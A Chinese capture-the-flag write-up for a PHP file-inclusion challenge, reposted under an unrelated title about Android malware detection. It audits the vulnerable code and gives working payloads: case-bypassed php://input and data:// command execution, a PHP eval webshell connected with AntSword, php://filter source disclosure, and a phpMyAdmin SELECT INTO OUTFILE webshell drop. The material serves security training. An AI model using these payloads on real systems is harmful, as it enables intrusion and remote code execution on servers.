1. 程式人生 > 實用技巧 >基於許可權的安卓惡意軟體檢測

基於許可權的安卓惡意軟體檢測

Web_php_include

思路

審計程式碼

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

可以看到這裡直接include($page),$page引數我們可以進行控制,並且用的是str_replace()函式進行過濾,當匹配到php://時就把該部分替換為空,我們可以用別的協議進行繞過,也可大小寫

注意這裡有個while迴圈,故單純的用phphp://p://是無法進行繞過的

思路一

利用php://input協議

雖然過濾了php://,但是我們可以通過大小寫繞過

構造payload

?page=Php://input

POST_DATA:<?php system('ls') ?>

然後得到目錄

再在

POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>

得到flag

這裡如果利用hackbar,可能post包會交不上去,也不知道為啥,在執行cat檔案時,flag並不會顯示在頁面上,要檢視原始碼才能看到,這是為啥,也不清楚。。

思路二

利用data協議

構造payload

?page=data://text/plain,<?php system('ls'); ?>

?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>

這裡直接在url上執行,用bp的時候不知道為什麼執行不了,但是換個編碼就行了,不知道為啥,一腦迷

也可以直接用data協議掛馬

?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

直接往蟻劍上貼上

http://220.249.52.133:53841/?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

密碼hacker,就連上了後臺

思路三

?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

再base64解碼下

思路四

用dirsearch掃一下,發現有phpmyadmin檔案

進去之後,賬號root,密碼為空(可能預設這樣)

然後在sql語句中執行

show variables like "secure_file_priv"

  • 當secure_file_priv的值為null ,表示限制mysqld 不允許匯入|匯出
  • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入|匯出只能發生在/tmp/目錄下
  • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入|匯出做限制

查詢為空,說明可以匯入和匯出檔案

執行

select "<?php @eval($_POST['hacker']); ?>" into outfile '/tmp/hacker.php'

便可在/tmp下找到小馬,Linux下一般/tmp文間夾下允許匯入檔案,如果換成其他資料夾就會報錯,然後蟻劍連線。


上述特舒情況,用php://input最好用bp,用data協議就直接在url上輸入就行